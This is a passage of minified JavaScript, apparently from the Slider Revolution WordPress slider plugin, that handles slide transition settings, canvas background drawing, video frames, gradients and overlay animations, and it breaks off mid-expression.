t=_R_is_Editor?RVS._R:jQuery.fn.revolution;_R_is_Editor&&(RVS._R.isNumeric=RVS.F.isNumeric),jQuery.extend(!0,t,{getSlideAnimationObj:function(e,i,a){var r,s={};for(var o in void 0===i.anim&&null==i.in&&(i.in="o:0"),i)if(i.hasOwnProperty(o)&&void 0!==i[o]){var n=i[o].split(";");for(var l in n)n.hasOwnProperty(l)&&void 0!==(r=n[l].split(":"))[0]&&void 0!==r[1]&&(s[o]=void 0===s[o]?{}:s[o],s[o][r[0]]="d3"===o&&"c"===r[0]?r[1]:r[1].split(",")[0])}return s.in=void 0===s.in?{}:s.in,s.anim=void 0===s.anim?{e:"basic"}:s.anim,_R_is_Editor||void 0===s.in||void 0===s.in.prst||t.loadSlideAnimLibrary(e,{key:a,prst:s.in.prst}),t[e].sbgs[a].slideanimationRebuild=!1,s},loadSlideAnimLibrary:function(e,i){void 0===t.SLTR&&!0!==t.SLTR_loading?(t.SLTR_loading=!0,jQuery.ajax({type:"post",url:t[e].ajaxUrl,dataType:"json",data:{action:"revslider_ajax_call_front",client_action:"get_transitions"},success:function(a,r,s){1==a.success&&(t.SLTR=a.transitions,void 0!==i&&t.setRandomDefaults(e,i.key,i.prst))},error:function(e){console.log("Transition Table can not be loaded"),console.log(e)}})):void 0!==i&&void 0!==t.SLTR&&t.setRandomDefaults(e,i.key,i.prst)},convertSlideAnimVals:function(e){return{anim:{eng:e.eng,ms:parseInt(e.speed,0),o:e.o,e:e.e,f:e.f,p:e.p,d:parseInt(e.d,0),adpr:e.adpr},d3:{f:e.d3.f,d:e.d3.d,z:e.d3.z,t:e.d3.t,c:e.d3.c,e:e.d3.e,fdi:e.d3.fdi,fdo:e.d3.fdo,fz:e.d3.fz,su:e.d3.su,smi:e.d3.smi,sma:e.d3.sma,sc:e.d3.sc,sl:e.d3.sl},in:{eng:e.in.eng,o:_R_is_Editor&&void 0!==e.preset&&0===e.preset.indexOf("rnd")?0:t.valBeau(e.in.o),x:t.valBeau(e.in.x),y:t.valBeau(e.in.y),r:t.valBeau(e.in.r),sx:t.valBeau(e.in.sx),sy:t.valBeau(e.in.sy),m:e.in.m,e:e.in.e,row:e.in.row,col:e.in.col,mo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.mo):0,moo:"false"!==e.in.mou&&!1!==e.in.mou?t.valBeau(e.in.moo):"none",mou:e.in.mou},out:void 0===e.out.a||"true"==e.out.a||!0===e.out.a?void 0:{a:l(e.out.a),o:t.valBeau(e.out.o),x:t.valBeau(e.out.x),y:t.valBeau(e.out.y),r:t.valBeau(e.out.r),sx:t.valBeau(e.out.sx),sy:t.valBeau(e.out.sy),m:e.out.m,e:e.out.e,row:t.valBeau(e.out.row),col:t.valBeau(e.out.col)},filter:{u:e.filter.u,e:e.filter.e,b:e.filter.b,g:e.filter.g,h:e.filter.h,s:e.filter.s,c:e.filter.c,i:e.filter.i},addOns:e.addOns}},setRandomDefaults:function(e,i,a){t[e].sbgs[i].random=t.getAnimObjectByKey(a,t.SLTR)},getSlideAnim_AddonDefaults:function(){var e={};for(var i in t.enabledSlideAnimAddons)e=jQuery.extend(!0,e,t[t.enabledSlideAnimAddons[i]].defaults());return e},getSlideAnim_EmptyObject:function(){return{speed:1e3,o:"inout",e:"basic",f:"start",p:"none",d:15,eng:"animateCore",adpr:!1,d3:{f:"none",d:"horizontal",z:300,t:0,c:"#ccc",e:"power2.inOut",fdi:1.5,fdo:2,fz:0,su:!1,smi:0,sma:.5,sc:"#000",sl:1},filter:{u:!1,e:"default",b:0,g:0,h:100,s:0,c:100,i:0},in:{o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1,mo:80,mou:!1},out:{a:"true",o:1,x:0,y:0,r:0,sx:1,sy:1,m:!1,e:"power2.inOut",row:1,col:1},addOns:t.getSlideAnim_AddonDefaults()}},getAnimObjectByKey:function(e,i){if(t.getAnimObjectCacheKey===e)return t.getAnimObjectCache;var a;for(var r in t.getAnimObjectCacheKey=e,i)if(i.hasOwnProperty(r)&&void 0===a)for(var s in i[r])if(i[r].hasOwnProperty(s)&&void 0===a)if(e===s&&0===e.indexOf("rnd"))(a=i[r][s]).main=r,a.group=s;else for(var o in i[r][s])i[r][s].hasOwnProperty(o)&&void 0===a&&o===e&&((a=i[r][s][o]).main=r,a.group=s);return t.getAnimObjectCache=jQuery.extend(!0,{},a),a},getRandomSlideTrans:function(e,i,a){if(void 0!==t.randomSlideAnimCache&&void 0!==t.randomSlideAnimCache[e]&&void 0!==t.randomSlideAnimCache[e][i])return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)];for(var r in t.randomSlideAnimCache=void 0===t.randomSlideAnimCache?{}:t.randomSlideAnimCache,t.randomSlideAnimCache[e]=void 0===t.randomSlideAnimCache[e]?{}:t.randomSlideAnimCache[e],t.randomSlideAnimCache[e][i]=void 0===t.randomSlideAnimCache[e][i]?[]:t.randomSlideAnimCache[e][i],a)if(a.hasOwnProperty(r)&&"random"!==r&&"custom"!==r&&("all"==e||r==e))for(var s in a[r])if(a[r].hasOwnProperty(s)&&"icon"!==s&&(""+i=="undefined"||i.indexOf(s)>=0))for(var o in a[r][s])a[r][s].hasOwnProperty(o)&&-1==jQuery.inArray(a[r][s][o].title,["*north*","*south*","*east*","*west*"])&&t.randomSlideAnimCache[e][i].push(o);return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)]},cbgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].canv.width},cbgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?!0===t[e].carousel.justify?t[e].carousel.slide_height:"fullscreen"===t[e].sliderLayout?t[e].module.height:Math.min(t[e].canv.height,t[e].gridheight[t[e].level]):void 0!==t[e].maxHeight&&t[e].maxHeight>0&&!t[e].fixedOnTop?Math.min(t[e].canv.height,t[e].maxHeight):t[e].canv.height},valBeau:function(e){return e=(""+(e=(""+(e=(""+(e=(""+(e=(""+e).split(",").join("|"))).replace("{","ran("))).replace("}",")"))).replace("[","cyc("))).replace("]",")")},animateSlide:function(e,t){return _R_is_Editor&&RVS.F.resetSlideTL(),void 0===tpGS.eases.late&&(tpGS.CustomEase.create("late","M0,0,C0,0,0.474,0.078,0.724,0.26,0.969,0.438,1,1,1,1"),tpGS.CustomEase.create("late2","M0,0 C0,0 0.738,-0.06 0.868,0.22 1,0.506 1,1 1,1 "),tpGS.CustomEase.create("late3","M0,0,C0,0,0.682,0.157,0.812,0.438,0.944,0.724,1,1,1,1")),s(e,t)},getBasic:function(e){return jQuery.extend(!0,{attr:null==e||void 0===e.attr?["o","r","sx","sy","x","y","m","e","row","col","mo","moo"]:e.attr,in:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3,mo:0,moo:"none"},out:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3}},e)},playBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(S(e,{},a,"in"),t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e,!0),tpGS.gsap.to(a.bgvid[0],.2,{zIndex:30,display:"block",autoAlpha:1,delay:.075,overwrite:"all"}))},stopBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(a.drawVideoCanvasImagesRecall=!1,t.stopVideo(a.bgvid,e),tpGS.gsap.to(a.bgvid[0],.2,{autoAlpha:0,zIndex:0,display:"none"}))},SATools:{getOffset:function(e,i,a,r){var s=(""+e).indexOf("%")>=0;return 0==(e=t.SATools.getSpecialValue(e,r,a))||void 0===e?0:s?i*(parseInt(e)/100):parseInt(e)},getSpecialValue:function(e,i,a,r){if(t.isNumeric(parseFloat(e,0)))return parseFloat(e,0);var s=(""+e).split("ran(").length>1?"random":(""+e).split("cyc(").length>1?"wrap":(""+e).split("(").length>1?"dir":"unknown",o=("random"===s?e.slice(4,-1):"wrap"===s?e.slice(4,-1):e.slice(1,-1)).split("|");if("random"===s)return tpGS.gsap.utils.random(parseFloat(o[0]),parseFloat(o.length>1?o[1]:0-o[0]));if("wrap"===s){var n=tpGS.gsap.utils.wrap(o,i);return(""+n).split("(").length>1?parseFloat(n.slice(1,-1))*a+(r?"%":""):n}return"dir"===s?parseFloat(o[0])*a+(r?"%":""):void 0}},getmDim:function(e,i,a){var r=t.cbgW(e,i),s=t.cbgH(e,i);return a.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR,t.maxDimCheck(a,r,s)},maxDimCheck:function(e,i,a){var r,s;void 0!==e.video&&("img"===e.video.tagName||null==e.video.videoWidth||e.video.videoWidth);if("animating"!==e.currentState&&null==e.panzoom||"animating"===e.currentState&&null==e.panzoom&&(null==e.slideanimation||null==e.slideanimation.anim||"true"!==e.slideanimation.anim.adpr))if(e.DPR>1&&t.ISM&&a>1024)e.DPR=1,r=i,s=a;else{var o={w:null==e.video||e.isVidImg?e.loadobj.width:0==e.video.videoWidth?e.loadobj.width:e.video.videoWidth,h:null==e.video||e.isVidImg?e.loadobj.height:0==e.video.videoHeight?e.loadobj.height:e.video.videoHeight};void 0===o.w&&(o.w=e.loadobj.width),void 0===o.h&&(o.h=e.loadobj.height);var n=a/o.w,l=i/o.h,d=Math.max(n,l);if(d>e.DPR||n>=1&&l>=1?e.DPR=1:e.DPR>d&&(e.DPR=Math.min(e.DPR,e.DPR/d)),r=i*e.DPR,s=a*e.DPR,e.DPR>1){var S=i/a;o.w>o.h&&o.w<r?(s=(r=Math.max(i,o.w))/S,e.DPR=1):o.h>o.w&&o.h<s&&(r=(s=Math.max(a,o.h))*S,e.DPR=1)}}else e.DPR=1,r=i,s=a;return{width:Math.round(r),height:Math.round(s),w:i,h:a}},updateSlideBGs:function(e,i,a,r){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}(r=void 0!==a.mDIM&&r)||(a.mDIM=t.getmDim(e,a.skeyindex,a)),void 0!==a.video?("IMG"!==a.video.tagName&&(a.isVidImg=""),a.cDIMS=t.getBGCanvasDetails(e,a),a.canvas.width=a.mDIM.width,a.canvas.height=a.mDIM.height,a.ctx.clearRect(0,0,a.mDIM.width,a.mDIM.height),a.ctx.drawImage(a.shadowCanvas,0,0)):(a.cDIMS=t.getBGCanvasDetails(e,a,r),a.canvas.width=a.mDIM.width,a.canvas.height=a.mDIM.height,"panzoom"===a.currentState||"animating"===a.currentState||void 0===a.currentState&&!_R_is_Editor&&"carousel"!=t[e].sliderType||(a.ctx.clearRect(0,0,a.mDIM.width,a.mDIM.height),0!==a.shadowCanvas.width&&0!==a.shadowCanvas.height&&a.ctx.drawImage(a.shadowCanvas,0,0))),"animating"===a.currentState&&"carousel"!==t[e].sliderType&&t.animatedCanvasUpdate(e,a)},addCanvas:function(){var e=document.createElement("canvas");return x=e.getContext("2d"),e.style.background="transparent",e.style.opacity=1,x},updateVideoFrames:function(e,i,a){if(i.now=Date.now(),i.then=void 0===i.then?i.now-500:i.then,i.elapsed=i.now-i.then,i.fps="animating"===i.currentState&&window._rs_firefox?50:33,i.elapsed>i.fps){i.then=i.now-i.elapsed%i.fps;var r="img"===i.video.tagName||null==i.video.videoWidth||0==i.video.videoWidth;void 0!==i.video&&!i.video.BGrendered&&void 0!==i.loadobj&&void 0!==i.loadobj.img||t.ISM&&t.isFirefox(e)?(i.mDIM=t.getmDim(e,i.skeyindex,i),i.pDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.loadobj.img,i.pDIMS.x,i.pDIMS.y,i.pDIMS.width,i.pDIMS.height)):((a||void 0===i.sDIMS||r!==i.isVidImg||0===i.sDIMS.width||0===i.sDIMS.height)&&(i.isVidImg=r,i.mDIM=t.getmDim(e,i.skeyindex,i),i.sDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.isVidImg?i.loadobj.width:i.video.videoWidth,conth:i.isVidImg?i.loadobj.height:i.video.videoHeight})),void 0!==i.sDIMS&&0!==i.sDIMS.width&&0!==i.sDIMS.height&&("animating"===i.currentState?(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)):void 0===i.animateDirection&&(i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),i.ctx.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)),i.shadowCanvas_Drawn=!0))}(a||i.drawVideoCanvasImagesRecall&&"animating"===i.currentState||"animating"===i.currentState&&void 0===i.shadowCanvas_Drawn)&&window.requestAnimationFrame(function(){t.updateVideoFrames(e,i)})},createOverlay:function(e,i,a,r){if("none"===i)return"none";a=void 0===a?1:a;r=void 0===r?{0:"rgba(0, 0, 0, 0)",1:"rgba(0, 0, 0, 1)"}:r;var s={none:[[0]],1:[[1,0],[0,0]],2:[[1,0,0],[0,0,0],[0,0,0]],3:[[1,0,0,0],[0,0,0,0],[0,0,0,0]],4:[[1],[0]],5:[[1],[0],[0]],6:[[1],[0],[0],[0]],7:[[1,0]],8:[[1,0,0]],9:[[1,0,0,0]],10:[[1,0,0,0,0],[0,1,0,1,0],[0,0,0,0,0],[0,1,0,1,0],[0,0,0,0,1]],11:[[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0]],12:[[1,0,0],[0,1,0],[0,0,1]],13:[[0,0,1],[0,1,0],[1,0,0]],14:[[1,0,0,0,0],[0,1,0,0,0],[0,0,1,0,0],[0,0,0,1,0],[0,0,0,0,0]],15:[[0,0,0,0,1],[0,0,0,1,0],[0,0,1,0,0],[0,1,0,0,0],[1,0,0,0,0]],16:[[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1]]},o=void 0===s[i=void 0===i?1:i]?s[2]:s[i];_R_is_Editor&&(t[e]=void 0===t[e]?{}:t[e]),t[e].patternCanvas=document.createElement("canvas"),t[e].patternCtx=t[e].patternCanvas.getContext("2d"),t[e].patternCanvas.width=o[0].length*a,t[e].patternCanvas.height=o.length*a;for(var n=0;n<o.length;n++)for(var l=0;l<o[n].length;l++)"transparent"!=r[o[n][l]]&&(t[e].patternCtx.fillStyle=r[o[n][l]],t[e].patternCtx.fillRect(l*a,n*a,a,a));return"url("+t[e].patternCanvas.toDataURL()+")"},getBGCanvasDetails:function(e,i,a){var r;return a||(i.mDIM=t.getmDim(e,i.skeyindex,i)),i.usepattern=("auto"===i.bgfit||i.bgfit.indexOf("%")>=0)&&(void 0===i.loadobj||!0!==i.loadobj.useBGColor),_R_is_Editor&&void 0===i.panzoom&&delete i.shadowCanvas,void 0===i.shadowCanvas&&(i.shadowCanvas=document.createElement("canvas"),i.shadowCTX=i.shadowCanvas.getContext("2d"),i.shadowCanvas.style.background="transparent",i.shadowCanvas.style.opacity=1),!0===i.replaceShadowCanvas||!0===i.loadobj.bgColor||!0===i.usebgColor||void 0!==i.panzoom||null!=i.isHTML5&&1!=i.poster||i.usepattern?(r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0},i.usepattern&&void 0!==i.loadobj&&void 0!==i.loadobj.img?t.getCanvasPattern(e,i,{ratio:i.loadobj.height/i.loadobj.width}):(i.loadobj.bgColor||i.usebgColor)&&(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),t.getCanvasGradients(e,i))):(r=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),void 0!==i.loadobj&&void 0!==i.loadobj.img&&i.shadowCTX.drawImage(i.loadobj.img,r.x,r.y,r.width,r.height),r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0}),r},getCanvasPattern:function(e,i,a){void 0===i.patternImageCanvas&&(i.patternImageCanvas=document.createElement("canvas"),i.patternImageCTX=i.patternImageCanvas.getContext("2d"));var r=i.bgfit.split(" ");1===r.length&&(r[1]=r[0]),a.width="auto"===r[0]?i.loadobj.width:i.loadobj.width*(parseInt(r[0],0)/100),a.height="auto"===r[1]?i.loadobj.height:a.width*a.ratio,i.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR;var s=a.width/a.height;a.width=a.width*i.DPR,a.height=a.height*i.DPR,t.isIOS&&a.width*a.height>15728640&&(i.mDIM.width>i.mDIM.height?(a.width=i.mDIM.width,a.height=Math.round(i.mDIM.width/s)):(a.height=i.mDIM.height,a.width=Math.round(i.mDIM.height*s))),i.patternImageCanvas.width=a.width,i.patternImageCanvas.height=a.height,i.patternImageCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.clearRect(0,0,i.shadowCTX.canvas.width,i.shadowCTX.canvas.height),i.pattern=i.shadowCTX.createPattern(i.patternImageCanvas,i.bgrepeat),i.shadowCTX.fillStyle=i.pattern,i.shadowShifts={h:i.bgposition.split(" ")[0],v:i.bgposition.split(" ")[1]},i.shadowShifts.hperc=t.isNumeric(parseInt(i.shadowShifts.h))?parseInt(i.shadowShifts.h)/100*i.mDIM.width:0,i.shadowShifts.vperc=t.isNumeric(parseInt(i.shadowShifts.v))?parseInt(i.shadowShifts.v)/100*i.mDIM.height:0,i.shadowShifts.x="left"===i.shadowShifts.h?0:"center"===i.shadowShifts.h||"50%"==i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?i.mDIM.width/2-a.width/2-Math.ceil(i.mDIM.width/2/a.width)*a.width:i.mDIM.width/2-a.width/2:"right"===i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.mDIM.width%a.width):i.mDIM.width-a.width:"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.shadowShifts.hperc%a.width):i.shadowShifts.hperc,i.shadowShifts.y="top"===i.shadowShifts.v?0:"center"===i.shadowShifts.v||"50%"==i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?i.mDIM.height/2-a.height/2-Math.ceil(i.mDIM.height/2/a.height)*a.height:i.mDIM.height/2-a.height/2:"bottom"===i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.mDIM.height%a.height):i.mDIM.height-a.height:"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.shadowShifts.vperc%a.height):i.shadowShifts.vperc,i.shadowCTX.save(),i.shadowCTX.translate(i.shadowShifts.x,i.shadowShifts.y),i.shadowCTX.fillRect(0,0,i.mDIM.width-i.shadowShifts.x,i.mDIM.height-i.shadowShifts.y),i.shadowCTX.restore()},getCanvasGradients:function(e,i){if(i.bgcolor.indexOf("gradient")>=0){i.gradient=null==i.gradient||_R_is_Editor?t.getGradients(i.bgcolor):i.gradient,i.shadowGrd="radialGradient"===i.gradient.type?i.shadowCTX.createRadialGradient(i.mDIM.width/2,i.mDIM.height/2,0,i.mDIM.width/2,i.mDIM.height/2,Math.max(i.mDIM.width/2,i.mDIM.height/2)):t.calcLinearGradient(i.shadowCTX,i.shadowCanvas.width,i.shadowCanvas.height,i.gradient.deg);for(var a=0;a<i.gradient.stops.length;a+=2)i.shadowGrd.addColorStop(i.gradient.stops[a+1],i.gradient.stops[a]);i.shadowCTX.clearRect(0,0,i.mDIM.width,i.mDIM.height),i.shadowCTX.fillStyle=i.shadowGrd,i.shadowCTX.fillRect(0,0,i.mDIM.width,i.mDIM.height)}else i.shadowCTX.clearRect(0,0,i.mDIM.width,i.mDIM.height),i.shadowCTX.fillStyle=i.bgcolor,i.shadowCTX.fillRect(0,0,i.mDIM.width,i.mDIM.height)},cNS:function(e){var t;for(t in e.n=document.createElementNS("http://www.w3.org/2000/svg",e.n),e.v)e.n.setAttributeNS(null,t.replace(/[A-Z]/g,function(e,t,i,a){return"-"+e.toLowerCase()}),e.v[t]);for(t in void 0!==e.c&&e.n.setAttribute("class",e.c),void 0!==e.id&&(e.n.id=e.id),void 0!==e.t&&(e.n.textContent=e.t),e.s)e.s.hasOwnProperty(t)&&(e.n.style[t]=e.s[t]);return e.n},rgbToHex:function(e){return"#"+d(e[0])+d(e[1])+d(e[2])},getSVGGradient:function(e){if(void 0===e)return e;if(_R_is_Editor&&(e=RSColor.convert(e)),-1==e.indexOf("gradient"))return e;var i=t.getGradients(e);void 0===t.gradSVG&&(t.gradSVG=t.cNS({n:"svg",id:"tp_svg_gradients",s:{width:"100%",height:"100%",opacity:0,pointerEvents:"none"}}),t.gradSVG.setAttribute("viewBox","0 0 1 1"),t.gradSVG.setAttribute("preserveAspectRatio","none"),document.body.appendChild(t.gradSVG),t.svgGradients=[]);for(var a=!1,r=JSON.stringify(e),s=0;s<t.svgGradients.length;s++)a||t.svgGradients[s].src==r&&(a=!0,e=t.svgGradients[s].url);if(!a){var o,n,l,d="radialGradient"===i.type?0:i.deg*(Math.PI/180),S="radialGradient"===i.type?0:{x1:Math.round(50+50*Math.sin(d))+"%",y1:Math.round(50+50*Math.cos(d))+"%",x2:Math.round(50+50*Math.sin(d+Math.PI))+"%",y2:Math.round(50+50*Math.cos(d+Math.PI))+"%"};l=t.cNS({n:i.type,id:"tp_svg_gradient_"+t.svgGradients.length,v:"radialGradient"===i.type?void 0:{gradientUnits:"userSpaceOnUse",x1:S.x1,y1:S.y1,x2:S.x2,y2:S.y2}});for(var c=0;c<=i.stops.length/2;c+=2)n=tpGS.gsap.utils.splitColor(i.stops[c]),o=t.cNS({n:"stop",v:{offset:100*i.stops[c+1]+"%",stopColor:t.rgbToHex(n),stopOpacity:n.length>3?n[3]:1}}),l.appendChild(o);t.gradSVG.appendChild(l),e="url(#tp_svg_gradient_"+t.svgGradients.length+")",t.svgGradients.push({url:e,src:r,g:l})}return e},getGradients:function(e){return e.indexOf("radial-gradient")>=0?{stops:t.getGradientColorStopPoints(e.split("radial-gradient(ellipse at center, ")[1]),type:"radialGradient",deg:0}:-1!==e.indexOf("gradient")?t.getLinearGradientStops(e):e},getLinearGradientStops:function(e){var t=e.split("linear-gradient(")[1];_R_is_Editor&&(t=(t=t.split(", ").join(",")).split(",rgba").join(", rgba"));var i=t.split("deg, ");for(var a in t=(i.length>1?i[1]:i[0]).split(" "),i=i.length>1?i[0]:180,t)t.hasOwnProperty(a)&&t[a].indexOf("%")>=0&&(t[a]=""+Math.round(100*parseFloat(t[a].split("%,")[0].split("%)")[0]))/1e4);return{stops:t,deg:i,type:"linearGradient"}},getGradientColorStopPoints:function(e){var t=/rgb([\s\S]*?)%/g,i=[],a=[];do{(s=t.exec(e))&&i.push(s[0])}while(s);for(var r=0;r<i.length;r++){var s=i[r],o=(e=/rgb([\s\S]*?)\)/.exec(s),/\)([\s\S]*?)%/.exec(s));e[0]&&(e=e[0]),o[1]&&(o=o[1]),a.push(e),a.push(parseFloat(o)/100)}return a},calcLinearGradient:function(e,t,i,a){a=a*Math.PI/180+Math.PI/2;for(var r,s,o,n,l=t/2,d=i/2,S=Math.sqrt(l*l+d*d),u={x1:Math.cos(a)*S+l,y1:Math.sin(a)*S+d,x2:l,y2:d},V=[p({x:0,y:0},a),p({x:t,y:0},a),p({x:t,y:i},a),p({x:0,y:i},a)],y=[],m=0;m<V.length;m++)y.push(R(V[m],u));if(c(l,d,y[0].x,y[0].y)>c(l,d,y[1].x,y[1].y)?(r=y[0].x,s=y[0].y):(r=y[1].x,s=y[1].y),c(l,d,y[2].x,y[2].y)>c(l,d,y[3].x,y[3].y)?(o=y[2].x,n=y[2].y):(o=y[3].x,n=y[3].y),Math.round(100*Math.atan2(d-s,l-r))/100===Math.round(a%(2*Math.PI)*100)/100){var f=r,h=s;r=o,s=n,o=f,n=h}return e.createLinearGradient(Math.round(r),Math.round(s),Math.round(o),Math.round(n))},transitions:{filter:{update:function(e,t,i){if(void 0!==e&&void 0!==e.tl){var a=void 0!==i||void 0!==e.tl.blur?" blur("+(void 0!==i?i:0+e.tl.blur!==void 0?e.tl.blur:0)+"px)":"";t.canvas.style.filter=void 0===e.tl.filter?""+a:e.tl.filter+a}},extendTimeLine:function(e,t,i){if(null!=t){var a=void 0!==t.g&&"0%"!==t.g&&0!==t.g?(""===a?"":" ")+"grayscale(_g_%)":"";a+=void 0!==t.h&&"100%"!==t.h&&100!==t.h?(""===a?"":" ")+"brightness(_h_%)":"",a+=void 0!==t.s&&"0px"!==t.s&&0!==t.s?(""===a?"":" ")+"sepia(_s_%)":"",a+=void 0!==t.c&&100!==t.c?(""===a?"":" ")+"contrast(_c_%)":"",""!==(a+=void 0!==t.i&&0!==t.i?(""===a?"":" ")+"invert(_i_%)":"")&&(t.tl={filter:a.replace("_g_",parseFloat(t.g)).replace("_h_",parseFloat(t.h)).replace("_s_",parseFloat(t.s)).replace("_c_",parseFloat(t.c)).replace("_i_",parseFloat(t.i))}),void 0!==t.b&&"0px"!==t.b&&0!==t.b&&(void 0===t.tl?t.tl={blur:parseFloat(t.b)}:t.tl.blur=parseFloat(t.b)),void 0!==t.tl&&(e.add(tpGS.gsap.to(t.tl,t.ms/t.sec,void 0===t.tl.filter?{blur:0}:void 0===t.tl.blur?{filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}:{blur:0,filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}),0),i.canvasFilter=!0)}}},slidingoverlay:{getBasic:function(){return t.getBasic({attr:["x","y"],in:{m:!0,o:-1,_xy:20,_gxys:10,_gxye:-10,zIndex:20,e:"power1.inOut"},out:{m:!0,reversed:!1,_xy:-100,o:0,zIndex:10,e:"power1.inOut"}})},updateAnim:function(e,i,a){var r=void 0!==i.in.x&&0!==i.in.x&&"0%"!==i.in.x?"x":"y";i.in["g"+r+"s"]=t.SATools.getOffset(i.in[r],i.in._gxys,a,1)+"%",i.in["g"+r+"e"]=t.SATools.getOffset(i.in[r],i.in._gxye,a,1)+"%",i.out[r]=t.SATools.getOffset(i.in[r],i.out._xy,a,1)+"%",i.in[r]=t.SATools.getOffset(i.in[r],i.in._xy,a,1)+"%";var s=parseInt(i.in[r])>=0;return i.in.d="x"===r?s?"left":"right":s?"up":"down",i},beforeDraw:function(e,t,i,a){void 0!==i.d&&(i._dxs="right"===i.d?0+i.mw:"left"===i.d?0-i.mw:0,i._dys="down"===i.d?0+i.mh:"up"===i.d?0-i.mh:0,i._xs="left"===i.d?0-i.mw:0,i._ys="up"===i.d?0-i.mh:0,i._xe="right"===i.d?a.SLOT.OW+i.mw:"left"===i.d?a.SLOT.OW-i.mw:a.SLOT.OW,i._ye="down"===i.d?a.SLOT.OH+i.mh:"up"===i.d?a.SLOT.OH-i.mh:a.SLOT.OH,t.beginPath(),t.rect("left"===i.d?Math.max(0,i._xs):"right"===i.d?Math.min(0,i._xs):0,"up"===i.d?Math.max(0,i._ys):"down"===i.d?Math.min(0,i._ys):0,"left"===i.d?Math.max(a.SLOT.OW,i._xe):"right"===i.d?Math.min(a.SLOT.OW,i._xe):i._xe,"up"===i.d?Math.max(a.SLOT.OH,i._ye):"down"===i.d?Math.min(a.SLOT.OH,i._ye):i._ye),t.clip())},afterDraw:function(e,t,i,a,r){void 0!==i.d&&(t.save(),t.beginPath(),t.rect(Math.max(0,i._dxs),Math.max(0,i._dys),i._xe,i._ye),t.clip(),t.save(),t.transform(r.csx,r.ssx,r.ssy,r.csy,.5*a.SLOT.OW+i.x+i.sgx,.5*a.SLOT.OH+i.y+i.sgy),t.drawImage(void 